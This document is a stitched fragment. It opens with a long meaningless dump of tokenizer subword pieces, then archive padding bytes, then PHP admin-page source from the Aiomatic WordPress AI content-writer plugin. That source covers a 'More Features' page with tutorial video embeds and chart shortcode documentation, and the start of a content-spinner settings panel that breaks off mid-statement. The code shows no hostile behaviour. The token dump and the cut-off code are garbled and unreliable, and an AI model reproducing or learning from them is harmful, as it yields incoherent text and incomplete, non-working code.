Ä R x Ä Sc outing D utch Ä he reditary Ä Cru iser s at 5 29 Ä Mar riott other mal Ä prohib itions E arn Ä St ab Ä Colleg es Ä Bel ief st retched Ä L H Ä Entity Item C IA Ä un rem Ä laure ate Ä denomin ations sum mary h ler S pect Ä K laus Ä Be ans Ä ins ur Ä PA X Ä field er Ä V et Ä Sp arrow z ie Ä S Q Ä Mond ays Ä Off line Ä Ler ner Ä Ext ensions Ire land Ä patron age Ä contrast ed Ä Man ia h irt Mos cow Ä condem ns Ä An ge Ä comp osing Ä Pe pe Ä P addock Ä heter ogeneity Ä ide ologically Ä f ishes Ä cur sing Ä R utherford Ä Flo ating Ä Am elia Te a Syn opsis Ä stun ts Ä be ad Ä stock ing Ä M ILL ob ook mass ive \ < Ä h ump Ä Pref erences Engine Debug ge ist Ä Niet o ome ver ish y eval uate col onial Altern ative Ä Go Pro Ä V ortex Ä NET WORK ans ky Sec ure Ä Th rust Sn ake Ä parcel s Ä sam urai Ä actress es N ap M F ifer ation Be er 5 23 Ä I ly oint ment P ing Ä stri ped Ä Mell on oss ession Ä neut ron end ium Ä a ph Ä Flav oring Ä 38 3 Ä respons iveness Ä J indal Ä Hitch cock Den ver Ä DRAG ON sm anship Ä Du pl Ä s ly Ä web cam Ä Tw ain Ä Dar ling ili ate cons umer D IT Ä names ake Ä un orthodox Ä fun er Ä PL oS Ä CONTR OL ozy g ogl obin F ACE ER G Ä D ia Ä F iesta ce le 0 34 Ä encl ave âĸ¬ âĸ¬ on ement al ist M and Ä home grown Ä F ancy Ä concept ions Ä Cont ains ure en Ä reiter ate Ä me ager Ä install ments Sp awn 6 27 Ä phot oc Ä Cab rera Ä Ros enthal Ä Lans ing is ner Ä invest s Ä UFO s EX P Hard ware Ä tr agically Ä conced es ie ft ch am bor gh Ä Sch r Ä Mel anie Ä H oy Ä visit ation Ä id iosyncr Ä fract ions Ä fore skin ob os Ä po aching Ä VI EW Ä stimul ates Ä G ork can on M IC Ä Nem esis Ä Ind ra Ä DM V Ä 5 29 Ä inspect ing Ä grand ma Ä W hedon Ä Sh ant Ä P urg ik an Ä T eg Ä CL R z ac Vict oria Ä Ver ify ion ics Ä part ying Ä M ou col our Ä testim onies l ations Ä press uring hi ro ac ers Ä f id ang ler Ä CS I Ä here after Ä diss idents report ing iph any che v Ä sol itude Ä l obe Ä ind is Ä cred ential re cent ad ult Ä Nir vana Ä Franch ise L ayer H yp Ä Berks hire Ä will s t if Ä tot em Ä Jud ah rep air Inst ant 5 48 Ä emb assies Ä bott leneck Ä b ount Ä typ ew Ä Al vin j ing im ilar R ush Ä br im Ä HEL P A im ] ' Ä pass ively Ä bound ed Ä R ated Ä criminal ity Ä biom ark Ä disp atcher Ä Tow ards Ä + ++ right eous f rog Ä P anc C arter 0 32 æ© Å Ä ult raviolet Ä Lic ensed Ä T ata Ä Bl essing Ä G AM Ä chem ically Ä Se af Ä RE LE Ä Merc enary capital ist Ä form ulations Ä ann ihilation Ä Ver b Ä Ar gon Ä un loaded Ä morp hed Ä conqu ering back er I ELD Ä theft s Ä front runner Ä Roy ale Ä Fund amental el ight C hip necess ary ay n Ä Sl ip Ä 4 48 cern ed P ause Ä shock ingly Ä AB V Ä comp osure 7 33 Ä Motors port ah ime Mur ray M ach Ä gr ids Ä deb ian Ä further more Ä dexter ity Ä Collect ions os lov il age b j Ä Mont eneg Ä strut Connector Ä massac res Ä brief s fet ched uv ian ol ition Fail ure emon ic Ä fl ared Ä claim ant Ä c ures Ä give aways Ä Subst ance al ions Ä cr inge Ä K ul Ä arist ocracy Ä Ul ster ol ated h ousing Ä M IS Ä gl ared Ä Wil helm ne eds lam bda build ers Ä V IS Ä radi ator Ä Ghost busters Ä 4 36 act ual Ä her ds ç a watch ing Ä counter ing Ch arge Ä char red Ä war heads Ä iod ine Ä M acy 04 1 Ä depart ures Ä S ins Ä dy ed Ä Concept s g ado 7 13 Ä quot ations Ä g ist Ä Christ y Ä ant igen Ä Hem p Ä D rawn Ä B arg ez vous Ä p aternity Ä ar du Ä Anch orage Ä R ik Ä over loaded Ä Us ername Ä Tam my Ä N au Ä Cell ular Ä w aning Ä rod ent Ä Wor cester il ts Ä T ad Ä dwell ings Ä bull ish 4 31 Ä retali ate Ä mig raine Ä Chev ron CH ECK Ä don key c rim SP A Ä An alog Ä marqu ee Ä Ha as B ir Ä GD DR Ä Download s Ä will power Ä For th Ä Record ed Ä imp ossibility Ä Log ged Ä Fr anks Ä R att in itions Ä clean ers Ä sore ly Ä flick ering Ä Ex amination c atching allow een Ms g Ä dun no F a Ä dys ph c razy .' '. Ä main line Ä c s Ä p tr Ä W ally ig un 95 1 Ä Big foot f ights Ä retrie ving J r Ä dupl ication Ä Expl an Ä rel ational Ä qu aint Ä bisc uits Ä ad o Ä sh udder Ä antid ote blood ed ks h Ä sa uces Ä rein vest Ä dispens ary Ä D iver Ä 9 000 stud ent Ä in separ esc ap Ä todd lers Ä GP IO Ä Ass ignment head ers Ä lack luster Ä ab ack 95 6 Ä tool bar 7 45 Ä o ust Ä contempl ation Ä PRES IDENT Ä 4 58 ==== == Ä guarantee ing Ä He ist Ä Cann es Ä» ½ Ä collabor ator Ä Am p Ä g ou Ä SH ALL st ories 78 3 Ä mobil ized Ä bro od Ä L U ĠðŠij Ä ref in Ä Anthrop ology v ind ill i Ä warrant ies Ä B abel Ä sw ath Ä c aches Ä antagon ists art ifacts Ä hot ly Ä St arts Ä G ö z ag !! !!! Ä sc ourge Ä cons piring ru its re verse Ä She en Ä Jes uit Ä Giov anni ad ies Ä butt ocks ear cher ac an Ä volley ball Ä shroud ed Ä score board b ats Ä I PM Ä ass es Ä de regulation Ä Te legram Ä Reb oot Ä 7 000 Ä Can ary Ä k ernels Ä Franç ois Ä D uff Ä P on Ä Le ica Ä Gar min Ä or phans Ä Claud ia Ä cal endars Ä Le ilan ent o R ocket Ä br unch Ä Haw king ain ers Ä sens ibilities Ä k W Ä K and Ä re claimed Ä interesting ly × © rom y J M Ä Enhance ment b ush Sk ip Ä rapp ers Ä g azing p edia ath lon Rev olution Ä sn ipers Ä re verted Ä conglomer ate T erry 79 4 Ä hars her Ä des olate Ä Hit man Comm ission Ä ( / âĢ¦ ." Com par Ä ampl ification om inated Ä reg ress Ä Coll ider Ä inform ants Ä g azed ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������res/aiomatic-more.php�������������������������������������������������������������������������������0000644�����������������00000050637�14757771437�0010635 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php function aiomatic_more() { ?> <div class="wp-header-end"></div> <div class="wrap gs_popuptype_holder seo_pops"> <h2 class="cr_center"><?php echo esc_html__("More Features", 'aiomatic-automatic-ai-content-writer');?></h2> <div class="wrap"> <nav class="nav-tab-wrapper"> <a href="#tab-0" class="nav-tab"><?php echo esc_html__("More Features", 'aiomatic-automatic-ai-content-writer');?></a> <a href="#tab-1" class="nav-tab"><?php echo esc_html__("Media Library Extensions", 'aiomatic-automatic-ai-content-writer');?></a> <a href="#tab-2" class="nav-tab"><?php echo esc_html__("Content Wizard", 'aiomatic-automatic-ai-content-writer');?></a> <a href="#tab-3" class="nav-tab"><?php echo esc_html__("AI Comment Replier", 'aiomatic-automatic-ai-content-writer');?></a> <a href="#tab-5" class="nav-tab"><?php echo esc_html__("AI Taxonomy Description Writer", 'aiomatic-automatic-ai-content-writer');?></a> <a href="#tab-4" class="nav-tab"><?php echo esc_html__("[aicontent] Shortcode", 'aiomatic-automatic-ai-content-writer');?></a> <a href="#tab-6" class="nav-tab"><?php echo esc_html__("'Ultimate Membership Pro' Integration", 'aiomatic-automatic-ai-content-writer');?></a> <a href="#tab-8" class="nav-tab"><?php echo esc_html__("AI Charts and Graphs", 'aiomatic-automatic-ai-content-writer');?></a> <a href="#tab-9" class="nav-tab"><?php echo esc_html__("AI Product/Post Writer", 'aiomatic-automatic-ai-content-writer');?></a> <a href="#tab-7" class="nav-tab"><?php echo esc_html__("Developer Tools Tutorials", 'aiomatic-automatic-ai-content-writer');?></a> </nav> </nav> <div id="tab-0" class="tab-content"> <br/> <?php echo esc_html__("In addition to the powerful core features, Aiomatic has some hidden gems that will take your website to the next level. Let's explore these exciting features and see how they can supercharge your site.", 'aiomatic-automatic-ai-content-writer');?> <h3><?php echo esc_html__("Content Wizard:", 'aiomatic-automatic-ai-content-writer');?></h3> <p><?php echo esc_html__("First up, we have the Content Wizard, your reliable companion in managing and optimizing your content. This intelligent assistant helps you with various tasks, from generating AI-powered meta tags to suggesting relevant keywords and optimizing your content for better search engine rankings. The Content Wizard is your virtual content strategist, guiding you every step of the way.", 'aiomatic-automatic-ai-content-writer');?></p> <h3><?php echo esc_html__("AI Media Library Extensions:", 'aiomatic-automatic-ai-content-writer');?></h3> <p><?php echo esc_html__("Aiomatic takes your media library to new heights with the AI Media Library Extension. With Extension 1, you can automatically generate alt text, captions, and descriptions for your images, saving you valuable time and effort. Extension 2 brings even more power by suggesting relevant tags and keywords for your media files, ensuring optimal search engine optimization and discoverability.", 'aiomatic-automatic-ai-content-writer');?></p> <h3><?php echo esc_html__("Comment Replier:", 'aiomatic-automatic-ai-content-writer');?></h3> <p><?php echo esc_html__("Engaging with your audience is crucial, and Aiomatic makes it easier with the Comment Replier feature. This handy tool uses AI algorithms to analyze and understand comments on your website, providing you with suggested responses. You can quickly reply to comments, foster meaningful conversations, and provide better user engagement, all with the help of AI.", 'aiomatic-automatic-ai-content-writer');?></p> <h3><?php echo esc_html__("AI Taxonomy Description Writer:", 'aiomatic-automatic-ai-content-writer');?></h3> <p><?php echo esc_html__("In WordPress, taxonomies are used to classify and organize content. They allow you to group posts, pages, or custom post types together based on shared characteristics. Taxonomies can be hierarchical (like categories) or non-hierarchical (like tags). When creating taxonomies in WP, it is important to set descriptions for SEO purposes.", 'aiomatic-automatic-ai-content-writer');?></p> <h3><?php echo esc_html__("[aicontent] Shortcode:", 'aiomatic-automatic-ai-content-writer');?></h3> <p><?php echo esc_html__("This is maybe the biggest 'hidden gem' of Aiomatic. It is able to combine its power with any other plugin I created, allowing AI generated content to be produced in posts created by any other of my plugins. Imagine having AI-generated content in all your plugins, from social media to scraper plugins or news posts. Well, with Aiomatic, that dream is now a reality.", 'aiomatic-automatic-ai-content-writer');?></p> <p><?php echo esc_html__("In this video, I'll take a closer look at how the latest update of Aiomatic works and what it can do for you. I'll explore how you can easily post AI-generated text to your social media channels, saving you time and effort while keeping your followers engaged.", 'aiomatic-automatic-ai-content-writer');?></p> <p><?php echo esc_html__("I'll also dive into how Aiomatic can enhance your scraped or news posts, ensuring that your content is always fresh, relevant, and engaging. Say goodbye to boring, uninspired content, and hello to Aiomatic!", 'aiomatic-automatic-ai-content-writer');?></p> <h3><?php echo esc_html__("Check The Tutorial Videos From The Above Tabs!", 'aiomatic-automatic-ai-content-writer');?></h3> <p><?php echo esc_html__("To access more details about each feature, simply navigate to the respective tabs at the top of this menu page. Within each tab, you'll find tutorial videos that walk you through the setup, configuration, and utilization of each feature. These videos provide step-by-step guidance, ensuring you make the most out of Aiomatic's hidden features.", 'aiomatic-automatic-ai-content-writer');?></p> <h3><?php echo esc_html__("Developer Tools Tutorials:", 'aiomatic-automatic-ai-content-writer');?></h3> <p><?php echo esc_html__("Aiomatic allows developers to customize the prompts sent to the AI models and also the responses returned by the AI, before they are processed in the plugin, allowing high customizability of the AI and its results.", 'aiomatic-automatic-ai-content-writer');?></p> <h3><?php echo esc_html__("AI Charts and Graphs", 'aiomatic-automatic-ai-content-writer');?></h3> <p><?php echo esc_html__("Using a special shortcode provided by the plugin, the AI writer can incorporate charts and graphs naturally into the created content, to visually represent data.", 'aiomatic-automatic-ai-content-writer') . '<br/>' . esc_html__("Usage of the shortcode: ", 'aiomatic-automatic-ai-content-writer'); echo '<br/><br/>[aiomatic_charts type="Pie|Doughnut|Radar|Bar|Line" labels="Label1,Label2" data="Value1,Value2" representing="Data1" colors="#RGB1,#RGB2"]<br/><br/>'; echo esc_html__("Customize the chart using:", 'aiomatic-automatic-ai-content-writer');?> <ul><li> <?php echo '- ' . esc_html__("type: Choose from Pie, Doughnut, Radar, Bar, Line,", 'aiomatic-automatic-ai-content-writer');?></li><li> <?php echo '- ' . esc_html__("labels: Comma-separated list of labels (e.g., \"Monday,Tuesday\"),", 'aiomatic-automatic-ai-content-writer');?></li><li> <?php echo '- ' . esc_html__("data: Comma-separated data points (e.g., \"10,20\"),", 'aiomatic-automatic-ai-content-writer');?></li><li> <?php echo '- ' . esc_html__("representing: What is the chart data representing. (e.g., \"Birth Count\"),", 'aiomatic-automatic-ai-content-writer');?></li><li> <?php echo '- ' . esc_html__("colors: the RGB color of each chart data section (e.g., \"#69D2E7,#a0a48C\").", 'aiomatic-automatic-ai-content-writer');?></li></ul></p> <h3><a href="https://1.envato.market/UltimateMember" target="_blank"><?php echo esc_html__("'Ultimate Membership Pro' Integration:", 'aiomatic-automatic-ai-content-writer');?></a></h3> <p><?php echo esc_html__("This is a nice feature, which will allow you to connect Aiomatic with the 'Ultimate Membership Pro' plugin, allowing you to give your website's members to the functionality offered by the plugin. You can limit the usage of the plugin for members, based on their subscription plans, allowing you to create an AI membership site with ease.", 'aiomatic-automatic-ai-content-writer');?></p> <p><?php echo esc_html__("Unlock the true potential of Aiomatic's hidden features, harnessing the power of AI to streamline your content management, optimize your media library, engage with your audience, and enhance the visual impact of your website. It's time to take your WordPress experience to new heights with Aiomatic!", 'aiomatic-automatic-ai-content-writer');?></p> <p><?php echo esc_html__("Enjoy exploring Aiomatic's hidden features and maximizing the potential of your WordPress website!", 'aiomatic-automatic-ai-content-writer');?></p> </div> <div id="tab-1" class="tab-content"> <br/> <h3><?php echo esc_html__("Media Library Extensions Tutorial Videos:", 'aiomatic-automatic-ai-content-writer');?></h3> <p class="cr_center"><div class="embedtool"><iframe src="https://www.youtube.com/embed/wRY6ElVZawI" frameborder="0" allowfullscreen></iframe></div></p> <h3><?php echo esc_html__("Automatic AI Written SEO Tags For Media Library Items:", 'aiomatic-automatic-ai-content-writer');?></h3> <p class="cr_center"><div class="embedtool"><iframe src="https://www.youtube.com/embed/7MEPZhMVjf0" frameborder="0" allowfullscreen></iframe></div></p> </div> <div id="tab-2" class="tab-content"> <br/> <h3><?php echo esc_html__("Content Wizard Tutorial Video:", 'aiomatic-automatic-ai-content-writer');?></h3> <p class="cr_center"><div class="embedtool"><iframe src="https://www.youtube.com/embed/e5tPgqOB8ss" frameborder="0" allowfullscreen></iframe></div></p> </div> <div id="tab-3" class="tab-content"> <br/> <h3><?php echo esc_html__("AI Comment Replier Tutorial Video:", 'aiomatic-automatic-ai-content-writer');?></h3> <p class="cr_center"><div class="embedtool"><iframe src="https://www.youtube.com/embed/VknKvIcKRuw" frameborder="0" allowfullscreen></iframe></div></p> </div> <div id="tab-5" class="tab-content"> <br/> <h3><?php echo esc_html__("AI Taxonomy Description Writer Tutorial Video:", 'aiomatic-automatic-ai-content-writer');?></h3> <p class="cr_center"><div class="embedtool"><iframe src="https://www.youtube.com/embed/k5BFo9jcmcs" frameborder="0" allowfullscreen></iframe></div></p> <h3><?php echo esc_html__("Automate the AI Taxonomy Description Writing Process:", 'aiomatic-automatic-ai-content-writer');?></h3> <p class="cr_center"><div class="embedtool"><iframe src="https://www.youtube.com/embed/1OibwD73JIA" frameborder="0" allowfullscreen></iframe></div></p> </div> <div id="tab-6" class="tab-content"> <br/> <h3><?php echo esc_html__("'Ultimate Membership Pro' Integration Tutorial Video:", 'aiomatic-automatic-ai-content-writer');?></h3> <p class="cr_center"><div class="embedtool"><iframe src="https://www.youtube.com/embed/Ej4fPlA91N4" frameborder="0" allowfullscreen></iframe></div></p> </div> <div id="tab-9" class="tab-content"> <br/> <h3><?php echo esc_html__("AI Product/Post Writer Tutorial Video:", 'aiomatic-automatic-ai-content-writer');?></h3> <p class="cr_center"><div class="embedtool"><iframe src="https://www.youtube.com/embed/RGIzC-HFD0o" frameborder="0" allowfullscreen></iframe></div></p> </div> <div id="tab-7" class="tab-content"> <br/> <h3><?php echo esc_html__("AI Content Filters Feature Tutorial Video:", 'aiomatic-automatic-ai-content-writer');?></h3> <p class="cr_center"><div class="embedtool"><iframe src="https://www.youtube.com/embed/lDJOnhSS_5o" frameborder="0" allowfullscreen></iframe></div></p> <h3><?php echo esc_html__("OpenAI API Functions Calling Tutorial Video:", 'aiomatic-automatic-ai-content-writer');?></h3> <p class="cr_center"><div class="embedtool"><iframe src="https://www.youtube.com/embed/dCOOQXqBHQM" frameborder="0" allowfullscreen></iframe></div></p> </div> <div id="tab-8" class="tab-content"> <br/> <h3><?php echo esc_html__("AI Charts and Graphs", 'aiomatic-automatic-ai-content-writer');?></h3> <p> <h2 class="wp-block-heading"><?php echo esc_html__("Overview:", 'aiomatic-automatic-ai-content-writer');?></h2> <p><?php echo esc_html__("The aiomatic_charts", 'aiomatic-automatic-ai-content-writer');?> <?php echo esc_html__("shortcode allows users to embed dynamic and customizable charts and graphs into WordPress posts and pages. It supports multiple chart types, including:", 'aiomatic-automatic-ai-content-writer')?> Line, Bar, Radar, Pie, Doughnut, PolarArea, <?php echo esc_html__("and provides a wide range of customization options through shortcode parameters.", 'aiomatic-automatic-ai-content-writer');?></p> <h3 class="wp-block-heading"><?php echo esc_html__("Shortcode Setup:", 'aiomatic-automatic-ai-content-writer');?></h3> <p><?php echo esc_html__("To use the shortcode in your WordPress posts or pages, include it as follows:", 'aiomatic-automatic-ai-content-writer');?></p> <p><code>[aiomatic_charts type="Line" title="SampleChart" data="10,20,30,40"]</code></p> <h3 class="wp-block-heading"><?php echo esc_html__("Parameters:", 'aiomatic-automatic-ai-content-writer');?></h3> <p><?php echo esc_html__("The shortcode provides several parameters for chart customization:", 'aiomatic-automatic-ai-content-writer');?></p> <ul> <li><code>type</code> <?php echo esc_html__("(string): Specifies the type of chart to be displayed. Available options include:", 'aiomatic-automatic-ai-content-writer');?> Line, Bar, Radar, Pie, Doughnut, PolarArea. <?php echo esc_html__("Default:", 'aiomatic-automatic-ai-content-writer');?> <code>Line</code>.</li> <li><code>title</code> <?php echo esc_html__("(string): A unique identifier for the chart, auto-generated using a prefix and a random suffix if not specified.", 'aiomatic-automatic-ai-content-writer');?></li> <li><strong><?php echo esc_html__("Dimensions", 'aiomatic-automatic-ai-content-writer');?></strong>: <ul> <li><code>canvaswidth</code>: <?php echo esc_html__("Width of the chart canvas. Default:", 'aiomatic-automatic-ai-content-writer');?> <code>625</code>.</li> <li><code>canvasheight</code>: <?php echo esc_html__("Height of the chart canvas. Default:", 'aiomatic-automatic-ai-content-writer');?> <code>625</code>.</li> <li><code>width</code>: <?php echo esc_html__("Overall width of the chart container. Default:", 'aiomatic-automatic-ai-content-writer');?> <code>100%</code>.</li> <li><code>height</code>: <?php echo esc_html__("Overall height of the chart container. Default:", 'aiomatic-automatic-ai-content-writer');?> <code>auto</code>.</li> </ul> </li> <li><strong><?php echo esc_html__("Data Handling", 'aiomatic-automatic-ai-content-writer');?></strong>: <ul> <li><code>labels</code>: <?php echo esc_html__("Comma-separated list of labels for the chart's X-axis. Example:", 'aiomatic-automatic-ai-content-writer');?> <code>"Jan,Feb,Mar,Apr"</code>.</li> <li><code>datalabels</code>: <?php echo esc_html__("Comma-separated list of labels for each data series in Line, Radar, and Bar charts.", 'aiomatic-automatic-ai-content-writer');?></li> <li><code>data</code>: <?php echo esc_html__("Comma-separated list of data points for simple charts (e.g., Pie, Doughnut).", 'aiomatic-automatic-ai-content-writer');?></li> <li><code>datasets</code>: <?php echo esc_html__("Data points for complex charts (e.g., Line, Bar), separated by", 'aiomatic-automatic-ai-content-writer');?> <code>next</code>.</li> </ul> </li> <li><strong><?php echo esc_html__("Customization", 'aiomatic-automatic-ai-content-writer');?></strong>: <ul> <li><code>colors</code>: <?php echo esc_html__("Comma-separated list of colors to style each dataset or data point. Default:", 'aiomatic-automatic-ai-content-writer');?> <code>#69D2E7,#a0a48C,#F38630,#96CE7F,#CEBC17,#CE4264</code>.</li> <li><code>fillopacity</code>: <?php echo esc_html__("Opacity level for filling chart areas. Default:", 'aiomatic-automatic-ai-content-writer');?> <code>0.7</code>.</li> <li><code>animation</code>: <?php echo esc_html__("Enable or disable animation (true/false). Default:", 'aiomatic-automatic-ai-content-writer');?> <code>true</code>.</li> </ul> </li> <li><strong><?php echo esc_html__("Advanced Settings", 'aiomatic-automatic-ai-content-writer');?></strong>: <ul> <li><code>scalefontsize</code>: <?php echo esc_html__("Size of scale labels in pixels. Default:", 'aiomatic-automatic-ai-content-writer');?> <code>12</code>.</li> <li><code>scalefontcolor</code>: <?php echo esc_html__("Color of the scale labels. Default:", 'aiomatic-automatic-ai-content-writer');?> <code>#666</code>.</li> <li><code>scaleoverride</code>: <?php echo esc_html__("Custom scale override (true/false). Default:", 'aiomatic-automatic-ai-content-writer');?> <code>false</code>.</li> <li><code>scalesteps</code>, <code>scalestepwidth</code>, <code>scalestartvalue</code>: <?php echo esc_html__("Custom scale parameters.", 'aiomatic-automatic-ai-content-writer');?></li> </ul> </li> </ul> <h3 class="wp-block-heading"><?php echo esc_html__("Behavior Controls:", 'aiomatic-automatic-ai-content-writer');?></h3> <ul> <li><strong><?php echo esc_html__("Script/Style Loading", 'aiomatic-automatic-ai-content-writer');?></strong>: <?php echo esc_html__("Scripts and styles are conditionally loaded to prevent conflicts in admin pages, utilizing the WordPress", 'aiomatic-automatic-ai-content-writer');?> <code>pagenow</code> <?php echo esc_html__("global variable.", 'aiomatic-automatic-ai-content-writer');?></li> <li><strong><?php echo esc_html__("Responsive Design", 'aiomatic-automatic-ai-content-writer');?></strong>: <?php echo esc_html__("CSS styles are included within the shortcode for both regular and mobile views.", 'aiomatic-automatic-ai-content-writer');?></li></ul> <h3 class="wp-block-heading"><?php echo esc_html__("Usage Examples:", 'aiomatic-automatic-ai-content-writer');?></h3> <ol> <li><strong><?php echo esc_html__("Line Chart Example", 'aiomatic-automatic-ai-content-writer');?></strong>: <code>[aiomatic_charts type="Line" title="MonthlySales" labels="Jan,Feb,Mar,Apr" data="30,50,70,90"]</code></li> <li><strong><?php echo esc_html__("Pie Chart Example", 'aiomatic-automatic-ai-content-writer');?></strong>: <code>[aiomatic_charts type="Pie" title="ExpenseDistribution" labels="Rent,Utilities,Groceries" data="40,30,30" colors="#FF6384,#36A2EB,#FFCE56"]</code></li> </ol> <h3 class="wp-block-heading"><?php echo esc_html__("AI Prompts:", 'aiomatic-automatic-ai-content-writer');?></h3> <p> <?php echo esc_html__("You can use the below prompt (or any other variation of it, to instruct the AI to use the chart shortcode to generate charts and graphs using it, directly in the content it creates:", 'aiomatic-automatic-ai-content-writer');?> <br/><br/><code>Incorporate the [aiomatic_charts] shortcode naturally into the created content, to visually represent data using dynamic charts. Usage: [aiomatic_charts type="Pie|Doughnut|Radar|Bar|Line" labels="Label1,Label2" data="Value1,Value2" representing="Data1" colors="#RGB1,#RGB2"] Customize the chart using: - type: Choose from Pie, Doughnut, Radar, Bar, Line, - labels: Comma-separated list of labels (e.g., "Monday,Tuesday"), - data: Comma-separated data points (e.g., "10,20"), - representing: What is the chart data representing. (e.g., "Birth Count"), - colors: the RGB color of each chart data section (e.g., "#69D2E7,#a0a48C"). </code> </p> <h3 class="wp-block-heading"><?php echo esc_html__("Tutorial Video:", 'aiomatic-automatic-ai-content-writer');?></h3> <p class="cr_center"><div class="embedtool"><iframe src="https://www.youtube.com/embed/H3VUDhxWEtA" frameborder="0" allowfullscreen></iframe></div></p> </div> <div id="tab-4" class="tab-content"> <br/> <h3><?php echo esc_html__("[aicontent] Shortcode Tutorial Video:", 'aiomatic-automatic-ai-content-writer');?></h3> <p class="cr_center"><div class="embedtool"><iframe src="https://www.youtube.com/embed/z_mGPlBsQQA" frameborder="0" allowfullscreen></iframe></div></p> <h3><?php echo esc_html__("[aicontent] Nested Shortcode Support (Advanced Feature):", 'aiomatic-automatic-ai-content-writer');?></h3> <p class="cr_center"><div class="embedtool"><iframe src="https://www.youtube.com/embed/SdNjVEfQzhs" frameborder="0" allowfullscreen></iframe></div></p> </div> </div> </div> <?php } ?>�������������������������������������������������������������������������������������������������res/aiomatic-spinner-list.php�����������������������������������������������������������������������0000644�����������������00001232757�14757771437�0012330 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php function aiomatic_spinner_panel() { $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (!isset($aiomatic_Main_Settings['app_id']) || trim($aiomatic_Main_Settings['app_id']) == '') { ?> <h1><?php echo esc_html__("You must add an OpenAI/AiomaticAPI API Key into the plugin's 'Settings' menu before you can use this feature!", 'aiomatic-automatic-ai-content-writer');?></h1> <?php return; } $all_models = aiomatic_get_all_models(true); $all_assistants = aiomatic_get_all_assistants(true); $all_edit_models = array_merge($all_models, AIOMATIC_EDIT_MODELS); ?> <div class="wp-header-end"></div> <?php $max_execution = ini_get('max_execution_time'); if($max_execution != 0 && $max_execution < 1000) { ?> <div class="notice notice-error"> <p class="cr_red"> <?php echo sprintf( wp_kses( __( "Warning! Your PHP INI max_execution_time is less than 1000 seconds (%s). This means that the plugin's execution will be forcefully stopped by your server after this amount of seconds. Please increase it to ensure that the plugin functions properly. Please check details on server settings, <a href='%s' target='_blank'>here</a>.", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), esc_html($max_execution), esc_url_raw( get_admin_url() . 'admin.php?page=aiomatic_logs#tab-2' ) );?> </p> </div> <?php } ?> <div class="wrap gs_popuptype_holder seo_pops"> <h2 class="cr_center"><?php echo esc_html__("AI Content Editor", 'aiomatic-automatic-ai-content-writer');?></h2> <nav class="nav-tab-wrapper"> <a href="#tab-0" class="nav-tab"><?php echo esc_html__("Tutorial", 'aiomatic-automatic-ai-content-writer');?></a> <a href="#tab-3" class="nav-tab"><?php echo esc_html__("Automatic Content Editing", 'aiomatic-automatic-ai-content-writer');?></a> <a href="#tab-4" class="nav-tab"><?php echo esc_html__("Existing Content Editor", 'aiomatic-automatic-ai-content-writer');?></a> <a href="#tab-1" class="nav-tab"><?php echo esc_html__("Editing Templates and Options", 'aiomatic-automatic-ai-content-writer');?></a> </nav> <form id="myForm" method="post" action="<?php if(is_multisite() && is_network_admin()){echo '../options.php';}else{echo 'options.php';}?>"> <div class="cr_autocomplete"> <input type="password" id="PreventChromeAutocomplete" name="PreventChromeAutocomplete" autocomplete="address-level4" /> </div> <?php settings_fields('aiomatic_option_group2'); do_settings_sections('aiomatic_option_group2'); $aiomatic_Spinner_Settings = get_option('aiomatic_Spinner_Settings', false); if (isset($aiomatic_Spinner_Settings['aiomatic_spinning'])) { $aiomatic_spinning = $aiomatic_Spinner_Settings['aiomatic_spinning']; } else { $aiomatic_spinning = ''; } if (isset($aiomatic_Spinner_Settings['post_posts'])) { $post_posts = $aiomatic_Spinner_Settings['post_posts']; } else { $post_posts = ''; } if (isset($aiomatic_Spinner_Settings['post_pages'])) { $post_pages = $aiomatic_Spinner_Settings['post_pages']; } else { $post_pages = ''; } if (isset($aiomatic_Spinner_Settings['post_custom'])) { $post_custom = $aiomatic_Spinner_Settings['post_custom']; } else { $post_custom = ''; } if (isset($aiomatic_Spinner_Settings['except_type'])) { $except_type = $aiomatic_Spinner_Settings['except_type']; } else { $except_type = ''; } if (isset($aiomatic_Spinner_Settings['disable_tags'])) { $disable_tags = $aiomatic_Spinner_Settings['disable_tags']; } else { $disable_tags = ''; } if (isset($aiomatic_Spinner_Settings['change_status'])) { $change_status = $aiomatic_Spinner_Settings['change_status']; } else { $change_status = ''; } if (isset($aiomatic_Spinner_Settings['delay_post'])) { $delay_post = $aiomatic_Spinner_Settings['delay_post']; } else { $delay_post = ''; } if (isset($aiomatic_Spinner_Settings['process_event'])) { $process_event = $aiomatic_Spinner_Settings['process_event']; } else { $process_event = ''; } if (isset($aiomatic_Spinner_Settings['run_background'])) { $run_background = $aiomatic_Spinner_Settings['run_background']; } else { $run_background = ''; } if (isset($aiomatic_Spinner_Settings['append_spintax'])) { $append_spintax = $aiomatic_Spinner_Settings['append_spintax']; } else { $append_spintax = ''; } if (isset($aiomatic_Spinner_Settings['append_location'])) { $append_location = $aiomatic_Spinner_Settings['append_location']; } else { $append_location = ''; } if (isset($aiomatic_Spinner_Settings['ai_featured_image'])) { $ai_featured_image = $aiomatic_Spinner_Settings['ai_featured_image']; } else { $ai_featured_image = ''; } if (isset($aiomatic_Spinner_Settings['ai_featured_image_source'])) { $ai_featured_image_source = $aiomatic_Spinner_Settings['ai_featured_image_source']; } else { $ai_featured_image_source = ''; } if (isset($aiomatic_Spinner_Settings['ai_image_command'])) { $ai_image_command = $aiomatic_Spinner_Settings['ai_image_command']; } else { $ai_image_command = ''; } if (isset($aiomatic_Spinner_Settings['url_image_list'])) { $url_image_list = $aiomatic_Spinner_Settings['url_image_list']; } else { $url_image_list = ''; } if (isset($aiomatic_Spinner_Settings['ai_featured_image_edit'])) { $ai_featured_image_edit = $aiomatic_Spinner_Settings['ai_featured_image_edit']; } else { $ai_featured_image_edit = 'disabled'; } if (isset($aiomatic_Spinner_Settings['ai_featured_image_engine'])) { $ai_featured_image_engine = $aiomatic_Spinner_Settings['ai_featured_image_engine']; } else { $ai_featured_image_engine = ''; } if (isset($aiomatic_Spinner_Settings['ai_image_command_edit'])) { $ai_image_command_edit = $aiomatic_Spinner_Settings['ai_image_command_edit']; } else { $ai_image_command_edit = 'Slightly change the image, making it unique.'; } if (isset($aiomatic_Spinner_Settings['image_strength'])) { $image_strength = 